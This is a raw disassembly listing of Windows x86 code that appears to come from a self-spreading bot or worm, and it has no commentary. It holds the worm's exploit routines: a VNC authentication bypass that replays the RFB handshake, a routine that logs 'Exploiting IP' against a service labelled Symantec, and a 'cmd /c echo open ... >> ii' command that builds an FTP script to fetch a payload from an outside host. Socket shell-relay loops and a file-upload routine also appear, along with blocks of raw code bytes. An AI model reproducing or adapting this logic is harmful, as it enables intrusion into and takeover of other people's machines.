push 10h
push eax
push ebx
call dword_4CB97C
cmp eax, 0FFFFFFFFh
jz loc_40E929
push edi
push 89h
push offset dword_432C88
push ebx
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jz short loc_40E929
mov esi, 640h
push edi
lea eax, [ebp-854h]
push esi
push eax
push ebx
call dword_4CB9EC
push edi
push 0A8h
push offset dword_432D14
push ebx
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jz short loc_40E929
push edi
lea eax, [ebp-854h]
push esi
push eax
push ebx
call dword_4CB9EC
push edi
push 0DEh
push offset dword_432DC0
push ebx
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jz short loc_40E929
push edi
lea eax, [ebp-854h]
push esi
push eax
push ebx
call dword_4CB9EC
movsx eax, byte ptr [ebp-810h]
sub eax, 30h
jz short loc_40E933
dec eax
jz short loc_40E930
loc_40E929: ; CODE XREF: ___:0040E884j
; ___:0040E89Aj ...
xor eax, eax
jmp loc_40E9F6
; ---------------------------------------------------------------------------
loc_40E930: ; CODE XREF: ___:0040E927j
push edi
jmp short loc_40E957
; ---------------------------------------------------------------------------
loc_40E933: ; CODE XREF: ___:0040E924j
push 2
push ebx
sub esp, 0BCh
lea esi, [ebp+8]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E3F1
add esp, 0C4h
test al, al
jnz short loc_40E977
push 1
loc_40E957: ; CODE XREF: ___:0040E931j
push ebx
lea esi, [ebp+8]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E3F1
add esp, 0C4h
test al, al
jz short loc_40E97E
loc_40E977: ; CODE XREF: ___:0040E953j
mov dword ptr [ebp-4], 1
loc_40E97E: ; CODE XREF: ___:0040E975j
push ebx
call dword_4CBA6C
cmp dword ptr [ebp-4], 0
jz short loc_40E9F3
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
shl eax, 6
add eax, offset aSymantec ; "Symantec"
push eax
push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s."
lea eax, [ebp-214h]
push 200h
push eax
call sub_41C360
push 0
lea eax, [ebp-214h]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_409869
lea eax, [ebp-214h]
push eax
call sub_415D38
mov eax, [ebp+0B0h]
add esp, 2Ch
shl eax, 6
inc dword_431800[eax]
lea eax, dword_431800[eax]
loc_40E9F3: ; CODE XREF: ___:0040E989j
push 1
pop eax
loc_40E9F6: ; CODE XREF: ___:0040E92Bj
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E9FB proc near ; CODE XREF: sub_40EAE9+91p
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
nop
call near ptr 71AB12F8h
push [ebp+arg_BC]
mov [ebp+var_C], eax
nop
call near ptr 71AB1746h
push esi
push 1
push 2
mov [ebp+var_E], ax
nop
call near ptr 71AB3C22h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40EAC9
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
nop
call near ptr 71AB3E5Dh
cmp eax, 0FFFFFFFFh
jz short loc_40EAC9
mov edi, 400h
push esi
mov esi, dword_4271FC
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
mov eax, offset byte_429108
push eax
push eax
push dword_4CB710
push [ebp+arg_0]
call sub_40AA06
pop ecx
push eax
push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
lea eax, [ebp+var_1A0]
push 190h
push eax
call sub_41C360
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
nop
call near ptr 71AB1AF4h
cmp eax, 0FFFFFFFFh
jnz short loc_40EACD
loc_40EAC9: ; CODE XREF: sub_40E9FB+50j
; sub_40E9FB+62j
xor eax, eax
jmp short loc_40EAE4
; ---------------------------------------------------------------------------
loc_40EACD: ; CODE XREF: sub_40E9FB+CCj
push 0
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
push ebx
nop
call near ptr 71AB1A6Dh
push 1
pop eax
loc_40EAE4: ; CODE XREF: sub_40E9FB+D0j
pop edi
pop esi
pop ebx
leave
retn
sub_40E9FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EAE9 proc near ; CODE XREF: sub_40C3E8+1EAp
; DATA XREF: ___:off_4317FCo
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
push ebp
mov ebp, esp
sub esp, 10h
push esi
lea eax, [ebp+arg_4]
push edi
push eax
mov [ebp+var_10], 2
call dword_4CBA14
push [ebp+arg_A0]
mov [ebp+var_C], eax
call dword_4CB9D4
push 6
push 1
push 2
mov [ebp+var_E], ax
nop
call near ptr 71AB3C22h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40EB5B
lea eax, [ebp+var_10]
push 10h
push eax
push esi
nop
call near ptr 71AB3E5Dh
cmp eax, 0FFFFFFFFh
jnz short loc_40EB3C
push esi
jmp short loc_40EB55
; ---------------------------------------------------------------------------
loc_40EB3C: ; CODE XREF: sub_40EAE9+4Ej
push 0
push 1213h
push offset dword_433424
push esi
call near ptr 71AB1AF4h
nop
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_40EB5F
loc_40EB55: ; CODE XREF: sub_40EAE9+51j
nop
call near ptr 71AB1A6Dh
loc_40EB5B: ; CODE XREF: sub_40EAE9+3Cj
xor eax, eax
jmp short loc_40EBA1
; ---------------------------------------------------------------------------
loc_40EB5F: ; CODE XREF: sub_40EAE9+6Aj
call near ptr 71AB1A6Dh
nop
push 216Bh
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E9FB
add esp, 0C0h
test eax, eax
jz short loc_40EB9E
mov eax, [ebp+arg_A8]
shl eax, 6
inc dword_431800[eax]
lea eax, dword_431800[eax]
loc_40EB9E: ; CODE XREF: sub_40EAE9+9Ej
push 1
pop eax
loc_40EBA1: ; CODE XREF: sub_40EAE9+74j
pop edi
pop esi
leave
retn
sub_40EAE9 endp
; =============== S U B R O U T I N E =======================================
sub_40EBA5 proc near ; CODE XREF: ___:0040EC93p
; ___:0040ECF5p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_8]
xor esi, esi
loc_40EBAD: ; CODE XREF: sub_40EBA5+2Dj
test edi, edi
jle short loc_40EBD8
mov eax, [esp+8+arg_4]
push 0
add eax, esi
push edi
push eax
push [esp+14h+arg_0]
call dword_4CB9EC
test eax, eax
jz short loc_40EBD4
cmp eax, 0FFFFFFFFh
jz short loc_40EBD4
sub edi, eax
add esi, eax
jmp short loc_40EBAD
; ---------------------------------------------------------------------------
loc_40EBD4: ; CODE XREF: sub_40EBA5+22j
; sub_40EBA5+27j
xor eax, eax
jmp short loc_40EBDB
; ---------------------------------------------------------------------------
loc_40EBD8: ; CODE XREF: sub_40EBA5+Aj
push 1
pop eax
loc_40EBDB: ; CODE XREF: sub_40EBA5+31j
pop edi
pop esi
retn
sub_40EBA5 endp
; =============== S U B R O U T I N E =======================================
sub_40EBDE proc near ; CODE XREF: ___:0040ECDFp
; ___:0040ED0Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_8]
test edi, edi
jz short loc_40EC1B
xor esi, esi
test edi, edi
jle short loc_40EC15
loc_40EBEE: ; CODE XREF: sub_40EBDE+35j
mov eax, edi
push 0
sub eax, esi
push eax
mov eax, [esp+10h+arg_4]
add eax, esi
push eax
push [esp+14h+arg_0]
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jz short loc_40EC1B
test eax, eax
jz short loc_40EC1B
add esi, eax
cmp esi, edi
jl short loc_40EBEE
loc_40EC15: ; CODE XREF: sub_40EBDE+Ej
push 1
pop eax
loc_40EC18: ; CODE XREF: sub_40EBDE+3Fj
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_40EC1B: ; CODE XREF: sub_40EBDE+8j
; sub_40EBDE+2Bj ...
xor eax, eax
jmp short loc_40EC18
sub_40EBDE endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 24Ch
push ebx
mov ax, word_4346DC
push esi
push edi
push 0
push 1
push 2
mov [ebp-2], ax
pop esi
push esi
call dword_4CBA54
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_40EC4D
push eax
jmp short loc_40EC81
; ---------------------------------------------------------------------------
loc_40EC4D: ; CODE XREF: ___:0040EC48j
lea eax, [ebp+0Ch]
push eax
call dword_4CBA14
push dword ptr [ebp+0A8h]
mov [ebp-48h], eax
mov [ebp-4Ch], si
call dword_4CB9D4
mov [ebp-4Ah], ax
lea eax, [ebp-4Ch]
push 10h
push eax
push ebx
call dword_4CB97C
cmp eax, 0FFFFFFFFh
jnz short loc_40EC8C
push ebx
loc_40EC81: ; CODE XREF: ___:0040EC4Bj
call dword_4CBA6C
jmp loc_40EE87
; ---------------------------------------------------------------------------
loc_40EC8C: ; CODE XREF: ___:0040EC7Ej
lea eax, [ebp-38h]
push 0Ch
push eax
push ebx
call sub_40EBA5
add esp, 0Ch
test eax, eax
jz loc_40EE80
lea eax, [ebp-20h]
and byte ptr [ebp-2Ch], 0
push eax
lea eax, [ebp-28h]
push eax
lea eax, [ebp-38h]
push offset aRfb03d_03d ; "RFB %03d.%03d\n"
push eax
call sub_41CCE3
add esp, 10h
cmp eax, esi
jnz loc_40EE80
cmp dword ptr [ebp-28h], 3
jz short loc_40ECD8
cmp dword ptr [ebp-20h], 8
jnz loc_40EE80
loc_40ECD8: ; CODE XREF: ___:0040ECCCj
lea eax, [ebp-38h]
push 0Ch
push eax
push ebx
call sub_40EBDE
add esp, 0Ch
test eax, eax
jz loc_40EE80
lea eax, [ebp-3Ch]
push esi
push eax
push ebx
call sub_40EBA5
add esp, 0Ch
test eax, eax
jz loc_40EE80
lea eax, [ebp-2]
push 1
push eax
push ebx
call sub_40EBDE
add esp, 0Ch
test eax, eax
jz loc_40EE80
lea eax, [ebp-24h]
push 4
push eax
push ebx
call sub_40EBA5
add esp, 0Ch
test eax, eax
jz loc_40EE80
mov eax, [ebp-24h]
mov edi, 0FF0000h
mov ecx, eax
mov edx, eax
and ecx, edi
mov esi, 0FF00h
shr edx, 10h
or ecx, edx
mov edx, eax
shl edx, 10h
and eax, esi
or edx, eax
shr ecx, 8
shl edx, 8
or ecx, edx
mov [ebp-24h], ecx
jnz loc_40EE80
push 1
push offset word_4CB88C
push ebx
call sub_40EBDE
add esp, 0Ch
test eax, eax
jz loc_40EE80
lea eax, [ebp-1Ch]
push 18h
push eax
push ebx
call sub_40EBA5
add esp, 0Ch
test eax, eax
jz loc_40EE80
xor eax, eax
mov ecx, [ebp-8]
mov al, [ebp-1Bh]
mov edx, ecx
mov ah, [ebp-1Ch]
mov [ebp-1Ch], ax
xor eax, eax
mov al, [ebp-19h]
mov ah, [ebp-1Ah]
mov [ebp-1Ah], ax
xor eax, eax
mov al, [ebp-13h]
mov ah, [ebp-14h]
mov [ebp-14h], ax
xor eax, eax
mov al, [ebp-11h]
mov ah, [ebp-12h]
mov [ebp-12h], ax
xor eax, eax
mov al, [ebp-0Fh]
mov ah, [ebp-10h]
mov [ebp-10h], ax
mov eax, ecx
and eax, edi
shr edx, 10h
or eax, edx
mov edx, ecx
shl edx, 10h
and ecx, esi
or edx, ecx
shr eax, 8
shl edx, 8
or eax, edx
mov [ebp-8], eax
add eax, 2
push eax
call sub_41D9A5
mov edi, [ebp-8]
pop ecx
test edi, edi
mov esi, eax
jle short loc_40EE10
push edi
push esi
push ebx
call sub_40EBA5
add esp, 0Ch
loc_40EE10: ; CODE XREF: ___:0040EE03j
and byte ptr [edi+esi], 0
lea eax, [ebp+0Ch]
push eax
push esi
push dword ptr [ebp-20h]
lea eax, [ebp-24Ch]
push dword ptr [ebp-28h]
push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
push 200h
push eax
call sub_41C360
push 0
lea eax, [ebp-24Ch]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_409869
lea eax, [ebp-24Ch]
push eax
call sub_415D38
mov eax, [ebp+0B0h]
add esp, 34h
shl eax, 6
inc dword_431800[eax]
push ebx
lea eax, dword_431800[eax]
call near ptr 71AB1A6Dh
nop
push 1
pop eax
jmp short loc_40EE89
; ---------------------------------------------------------------------------
loc_40EE80: ; CODE XREF: ___:0040EC9Dj
; ___:0040ECC2j ...
push ebx
nop
call near ptr 71AB1A6Dh
loc_40EE87: ; CODE XREF: ___:0040EC87j
xor eax, eax
loc_40EE89: ; CODE XREF: ___:0040EE7Ej
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 404h
loc_40EE97: ; CODE XREF: ___:0040EEB3j
; ___:0040EECFj
push 0
lea eax, [ebp-404h]
push 400h
push eax
push dword_4CE708
call dword_4CB9EC
test eax, eax
jle short loc_40EE97
lea ecx, [ebp-4]
push 0
push ecx
push eax
lea eax, [ebp-404h]
push eax
push dword_4CE704
nop
call near ptr 2720000h
jmp short loc_40EE97
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 404h
loc_40EEDA: ; CODE XREF: ___:0040EF00j
; ___:0040EF1Aj
lea eax, [ebp-4]
and dword ptr [ebp-4], 0
push 0
push eax
lea eax, [ebp-404h]
push 400h
push eax
push dword_4CE6F8
nop
call near ptr 271129Ah
cmp dword ptr [ebp-4], 0
jle short loc_40EEDA
push 0
lea eax, [ebp-404h]
push dword ptr [ebp-4]
push eax
push dword_4CE708
call dword_4CBA24
jmp short loc_40EEDA
; ---------------------------------------------------------------------------
dword_40EF1C dd 81EC8B55h, 11CECh, 8458B00h, 6A575653h, 59F08B28h, 0FEE4BD8Dh
; DATA XREF: sub_401ACD+2CCAo
dd 0A5F3FFFFh, 0FF33016Ah, 98B0895Eh, 6A000000h, 0C8458D10h
dd 21E85057h, 830000D0h, 0C7660CC4h, 2C845h, 0FF68B5FFh
dd 15FFFFFFh, 4CB9D4h, 6A56066Ah, 45896602h, 5415FFCAh
dd 89004CBAh, 458D0845h, 50106AC8h, 0FF0875FFh, 4CBA0015h
dd 0FF056A00h, 15FF0875h, 4CB9FCh, 71081D8Bh, 358B0042h
dd 427070h, 75FF5757h, 6815FF08h, 0A3004CBAh, 4CE708h
dd 57F4458Dh, 0E7046850h, 68004Ch, 0C7004CE7h, 0CF445h
dd 45C70000h, 1FCh, 0F87D8900h, 458DD3FFh, 685057F4h, 4CE6FCh
dd 4CE6F868h, 6AD3FF00h, 84458D44h, 85E85057h, 0A10000CFh
dd 4CE700h, 890CC483h, 0FCA1BC45h, 89004CE6h, 6A57C045h
dd 0C4458D01h, 0C750026Ah, 448445h, 45C70000h, 101B0h
dd 7D896600h, 2EE890B4h, 50023219h, 0E6FC35FFh, 22E8004Ch
dd 90023219h, 12EEE850h, 8D900232h, 8D50D845h, 57508445h
dd 906857h, 458D0400h, 50016AF4h, 50F4458Dh, 4346E068h
dd 0E8905700h, 226198Ch, 50E8458Dh, 0D1685757h, 8D0040EEh
dd 5057F445h, 0F92E890h, 45890228h, 0E8458DECh, 68575750h
dd 40EE8Eh, 57F4458Dh, 0F7AE850h, 6A900228h, 0F04589FFh
dd 90D875FFh, 2910D3E8h, 75FF5702h, 17A8E8F0h, 57900229h
dd 90EC75FFh, 29179DE8h, 0F075FF02h, 75FFD6FFh, 57D6FFECh
dd 90D875FFh, 321193E8h, 35FF02h, 0FF004CE7h, 435FFD6h
dd 0FF004CE7h, 0F835FFD6h, 0FF004CE6h, 0FC35FFD6h, 0FF004CE6h
dd 0DC75FFD6h, 75FFD6FFh, 0E9D6FFD8h, 0FFFFFEB0h, 0E9h
dd 0FFFE6800h, 680000h, 0E8000004h, 9AD1h, 0E710A359h
dd 0C359004Ch
dword_40F108 dd 81EC8B55h, 6C0ECh, 8458B00h, 6A575653h, 59F08B27h, 0FF50BD8Dh
; DATA XREF: sub_40BD91+34Do
dd 0A5F3FFFFh, 0DB33016Ah, 98B0895Eh, 6A000000h, 0EC458D10h
dd 35E85053h, 830000CEh, 0C7660CC4h, 2EC45h, 0FF5CB5FFh
dd 15FFFFFFh, 4CB9D4h, 26A5653h, 0EE458966h, 0FFF05D89h
dd 4CBA5415h, 83F88B00h, 0FE3BFFCEh, 5D394575h, 532075E4h
dd 0FD40858Dh, 75FFFFFFh, 858D50E0h, 0FFFFFF60h, 50B5FF50h
dd 0E8FFFFFFh, 0FFFFA6DDh, 8D14C483h, 0FFFD4085h, 9DE850FFh
dd 0FF00006Bh, 0FFFF54B5h, 0C530E8FFh, 5959FFFFh, 0D1E89053h
dd 8B022E18h, 0FFFF5485h, 69106AFFh, 234C0h, 1CB88900h
dd 8D0043E9h, 5750EC45h, 0BA0015FFh, 0C63B004Ch, 400BBh
dd 0CF850F00h, 0FF000000h, 4CB96815h, 27403D00h, 47740000h
dd 7539F633h, 562075E4h, 0FD40858Dh, 75FFFFFFh, 858D50E0h
dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFA65Dh, 8D14C483h
dd 0FFFD4085h, 1DE850FFh, 0FF00006Bh, 0FFFF54B5h, 0C4B0E8FFh
dd 5959FFFFh, 51E89056h, 68022E18h, 0FFFEh, 9997E853h
dd 0A3590000h, 4CE710h, 45896659h, 0EC458DEEh, 5750106Ah
dd 0BA0015FFh, 0C63B004Ch, 15FF5475h, 4CB968h, 7539F633h
dd 3D2775E4h, 2740h, 8D562074h, 0FFFD4085h, 0E075FFFFh
dd 60858D50h, 50FFFFFFh, 0FF50B5FFh, 0E2E8FFFFh, 83FFFFA5h
dd 858D14C4h, 0FFFFFD40h, 6AA2E850h, 0B5FF0000h, 0FFFFFF54h
dd 0FFC435E8h, 565959FFh, 2E17D7E8h, 56A9002h, 0FC15FF57h
dd 3B004CB9h, 0D4840FC6h, 0C7000000h, 10FC45h, 8BE0000h
dd 8D004291h, 8D50FC45h, 0FFFF4085h, 0FF5750FFh, 4CBA6815h
dd 0FFF88300h, 74084589h, 0E47D83E6h, 6A217500h, 40858D00h
dd 0FFFFFFFDh, 8D50E075h, 0FFFF6085h, 0B5FF50FFh, 0FFFFFF50h
dd 0FFA564E8h, 14C483FFh, 0FD40858Dh, 0E850FFFFh, 6A24h
dd 40858D59h, 6AFFFFFDh, 2006800h, 0FF500000h, 15FF0875h
dd 4CB9ECh, 74FFF883h, 0FF565696h, 4CB71035h, 50B5FF00h
dd 0E8FFFFFFh, 0FFFFB6C2h, 0E8685059h, 8D004346h, 0FFF94085h
dd 0E85053FFh, 0D008h, 8D1CC483h, 0FFF94085h, 50006AFFh
dd 0C657E8h, 8D505900h, 0FFF94085h, 75FF50FFh, 2415FF08h
dd 83004CBAh, 840FFFF8h, 0FFFFFF43h, 0E71805FFh, 38E9004Ch
dd 57FFFFFFh, 0BA6C15FFh, 0B5FF004Ch, 0FFFFFF54h, 0FFC335E8h
dd 6A59FFh, 16D6E890h
db 2Eh, 2
word_40F3AA dw 8B55h ; DATA XREF: sub_40BD91+22Ao
dd 70EC81ECh, 8B00000Ah, 56530845h, 0B9016A57h, 0A9h, 0BD8DF08Bh
dd 0FFFFF920h, 89A5F35Bh, 2A098h, 90858D00h, 33FFFFF5h
dd 16850F6h, 89000001h, 5D89D85Dh, 0E85D89E0h, 0FDD4B589h
dd 0B589FFFFh, 0FFFFFBC4h, 4DE0E890h, 5356716Ah, 0E890026Ah
dd 716A481Eh, 71DC358Bh, 4D8D0042h, 51046AD8h, 0FFFFBFh
dd 57046A00h, 0F8458950h, 458DD6FFh, 50046AE0h, 8B57FB6Ah
dd 0FF57F87Dh, 0E8458DD6h, 667E6850h, 90578004h, 6A211DE8h
dd 10A16671h, 83004CB7h, 5000C865h, 0C445C766h, 15FF0002h
dd 4CB9D4h, 0C6458966h, 6AC4458Dh, 90575010h, 6A4A69E8h
dd 7DC08571h, 0E9C38B07h, 548h, 0E8570A6Ah, 716A696Ah
dd 0D49D8990h, 8BFFFFFDh, 4272081Dh, 0D8BD8900h, 89FFFFFDh
dd 416AFC7Dh, 0FDD4B58Dh, 8D59FFFFh, 0FFFBC4BDh, 33A5F3FFh
dd 0C4858DF6h, 56FFFFFBh, 8B505656h, 5040FC45h, 6A23DBE8h
dd 0F8839071h, 0F6840FFFh, 33000004h, 0FC7539FFh, 7C087D89h
dd 6AF633C5h, 60858D64h, 56FFFFFDh, 0CA96E850h, 646A0000h
dd 0FF50858Dh, 5056FFFFh, 0CA87E8h, 18C48300h, 0FBC4858Dh
dd 5750FFFFh, 16E57E8h, 0FC08500h, 4A284h, 0F87D3B00h
dd 458D7A75h, 0F045C7F0h, 10h, 0C4858D50h, 50FFFFFDh, 90F875FFh
dd 6A916CE8h, 0FFF88371h, 479840Fh, 0C9330000h, 0FDD4B539h
dd 1676FFFFh, 0FDD8958Dh, 239FFFFh, 83410C74h, 8D3B04C2h
dd 0FFFFFDD4h, 8D3BF072h, 0FFFFFDD4h, 0BD831675h, 0FFFFFDD4h
dd 890D7340h, 0FDD88D84h, 85FFFFFFh, 0FFFFFDD4h, 7EFC453Bh
dd 0FC458903h, 68156A56h, 4349ACh, 0E9D3FF50h, 423h, 60858D56h
dd 6AFFFFFDh, 90575064h, 6A60FFE8h, 7FC08571h, 0D4958B52h
dd 33FFFFFDh, 76D63BC9h, 0D8858D3Ah, 39FFFFFDh, 410A7438h
dd 3B04C083h, 0EBF472CAh, 0CA3B4A26h, 848D1B73h, 0FFFDD88Dh
dd 4508BFFh, 8B108941h, 0FFFDD495h, 4C083FFh, 72CA3B4Ah
dd 0D48DFFECh, 57FFFFFDh, 248BE890h, 0BCE9716Ah, 8D000003h
dd 0FFFCC885h, 858D50FFh, 0FFFFFF50h, 60858D50h, 68FFFFFDh
dd 4349A4h, 0D6DDE850h, 858D0000h, 0FFFFFF50h, 43499C68h
dd 39E85000h, 830000D4h, 0C08518C4h, 6A560D75h, 49846816h
dd 82E90043h, 8D000000h, 0FFFF5085h, 497C68FFh, 0E8500043h
dd 0D414h, 59C08559h, 6A560A75h, 49646814h, 61EB0043h
dd 0FF50858Dh, 5C68FFFFh, 50004349h, 0D3F3E8h, 0C0855900h
dd 560A7559h, 4C680D6Ah, 0EB004349h, 50858D40h, 68FFFFFFh
dd 434944h, 0D3D2E850h, 85590000h, 0A7559C0h, 68106A56h
dd 434930h, 858D1FEBh, 0FFFFFF50h, 43492C68h, 0B1E85000h
dd 590000D3h, 7559C085h, 1E6A560Eh, 43490C68h, 0D9E95700h
dd 0BF000002h, 434904h, 0FF50858Dh, 5057FFFFh, 0D38BE8h
dd 0C0855900h, 8D247559h, 0FFFCC885h, 490068FFh, 0E8500043h
dd 0D374h, 59C08559h, 6A560D75h, 48EC6813h, 9AE90043h
dd 8D000002h, 0FFFF5085h, 0E85057FFh, 0D354h, 59C08559h
dd 858D2475h, 0FFFFFCC8h, 4348E868h, 3DE85000h, 590000D3h
dd 7559C085h, 136A560Dh, 4348D468h, 263E900h, 858D0000h
dd 0FFFFFF50h, 4348CC68h, 19E85000h, 590000D3h, 7559C085h
dd 0BE0A6A34h, 4348A0h, 0D8BD8D59h, 0F3FFFFFEh, 858D50A5h
dd 0FFFFFED8h, 0E8A56650h, 0C264h, 858D5059h, 0FFFFFED8h
dd 875FF50h, 0F633D3FFh, 21DE9h, 50858D00h, 68FFFFFFh
dd 434898h, 0D2CEE850h, 85590000h, 2A7559C0h, 80BE056Ah
dd 59004348h, 0FF38BD8Dh, 0A5F3FFFFh, 8D50A566h, 0FFFF3885h
dd 0E8A450FFh, 0C218h, 858D5059h, 0FFFFFF38h, 858DB2EBh
dd 0FFFFFF50h, 43487868h, 8DE85000h, 590000D2h, 0F59C085h
dd 0B685h, 2C858D00h, 50FFFFFDh, 0FF04858Dh, 8D50FFFFh
dd 8D50EC45h, 8D50E445h, 8D50DC45h, 8D50D445h, 0FFFD6085h
dd 485068FFh, 0E8500043h, 0D4E7h, 0FF04858Dh, 0E850FFFFh
dd 0C951h, 858DF88Bh, 0FFFFFD2Ch, 0C943E850h, 45890000h
dd 8D326AF4h, 0FFFF0485h, 0E85056FFh, 0C748h, 8D34C483h
dd 0FFFF0485h, 0F475FFFFh, 48486857h, 0E8500043h, 0CA26h
dd 858D106Ah, 0FFFFFF04h, 56E85056h, 830000CFh, 45891CC4h
dd 0EC458DF4h, 0E4458D50h, 0DC458D50h, 0D4458D50h, 0B4458D50h
dd 43483C68h, 0F3E85000h, 830000C9h, 6A5618C4h, 481C681Dh
dd 6E90043h, 8D000001h, 0FFFF5085h, 481468FFh, 0E8500043h
dd 0D1BCh, 59C08559h, 0CC850Fh, 6A560000h, 47E86828h, 75FF0043h
dd 0FFD3FF08h, 458DF475h, 8E850B4h, 59000001h, 5901F883h
dd 9E850Fh, 0B5390000h, 0FFFFFBBCh, 8D562375h, 0FFF72085h
dd 0B8B5FFFFh, 50FFFFFBh, 0FB38858Dh, 0FF50FFFFh, 0FFF920B5h
dd 9F7FE8FFh, 0C483FFFFh, 14AE814h, 0F8830000h, 93850F01h
dd 56000000h, 0D068176Ah, 0FF004347h, 0D3FF0875h, 50B4458Dh
dd 0F720858Dh, 9868FFFFh, 50004347h, 0C949E8h, 0CC48300h
dd 0FBBCB539h, 2375FFFFh, 20858D56h, 0FFFFFFF7h, 0FFFBB8B5h
dd 858D50FFh, 0FFFFFB38h, 20B5FF50h, 0E8FFFFF9h, 0FFFF9F21h
dd 8D14C483h, 0FFF72085h, 0E1E850FFh, 0FF000063h, 4CE4E005h
dd 2EEB5900h, 68206A56h, 434774h, 858D1FEBh, 0FFFFFF50h
dd 42CD2068h, 0D5E85000h, 590000D0h, 7559C085h, 1B6A560Dh
dd 43475868h, 875FF00h, 646AD3FFh, 0FD60858Dh, 5056FFFFh
dd 0C5D3E8h, 87D8B00h, 470CC483h, 89FC7D3Bh, 8E0F087Dh
dd 0FFFFFB19h, 0FFFAD9E9h, 58016AFFh, 0C95B5E5Fh
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp-1A0h]
push eax
push 101h
nop
call near ptr 71AB41DAh
push 0
push 1
push 2
nop
call near ptr 71AB3C22h
push dword ptr [ebp+8]
mov dword_4CE71C, eax
mov word ptr [ebp-10h], 2
call near ptr 71AB12F8h
nop
push dword ptr [ebp+0Ch]
mov [ebp-0Ch], eax
nop
call near ptr 71AB1746h
mov [ebp-0Eh], ax
lea eax, [ebp-10h]
push 10h
push eax
push dword_4CE71C
call near ptr 71AB3E5Dh
nop
cmp eax, 0FFFFFFFFh
jnz short loc_40FA37
push dword_4CE71C
nop
call near ptr 71AB1A6Dh
nop
call near ptr 71AB1836h
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40FA37: ; CODE XREF: ___:0040FA1Fj
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 504h
push esi
lea eax, [ebp-104h]
push 104h
push eax
push 0
call near ptr 2680000h
nop
lea eax, [ebp-104h]
push offset dword_429068
push eax
call sub_41BEA2
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_40FAD3
test byte ptr [esi+0Ch], 10h
jnz short loc_40FAB7
push edi
mov edi, 400h
loc_40FA7F: ; CODE XREF: ___:0040FAB4j
push esi
push 1
lea eax, [ebp-504h]
push edi
push eax
call sub_41BAFA
add esp, 10h
lea eax, [ebp-504h]
push 0
push edi
push eax
push dword_4CE71C
nop
call near ptr 71AB1AF4h
push 1
call near ptr 2680EF8h
nop
test byte ptr [esi+0Ch], 10h
jz short loc_40FA7F
pop edi
loc_40FAB7: ; CODE XREF: ___:0040FA77j
push esi
call sub_41BA3B
pop ecx
push dword_4CE71C
call near ptr 71AB1A6Dh
nop
call near ptr 71AB1836h
nop
push 1
pop eax
loc_40FAD3: ; CODE XREF: ___:0040FA71j
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FAD6 proc near ; DATA XREF: sub_401ACD+2229o
; sub_40BD91+475o
var_28F0 = byte ptr -28F0h
var_18F0 = byte ptr -18F0h
var_8F0 = byte ptr -8F0h
var_6F0 = byte ptr -6F0h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_360 = byte ptr -360h
var_25C = dword ptr -25Ch
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_23C = byte ptr -23Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_34 = byte ptr -34h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
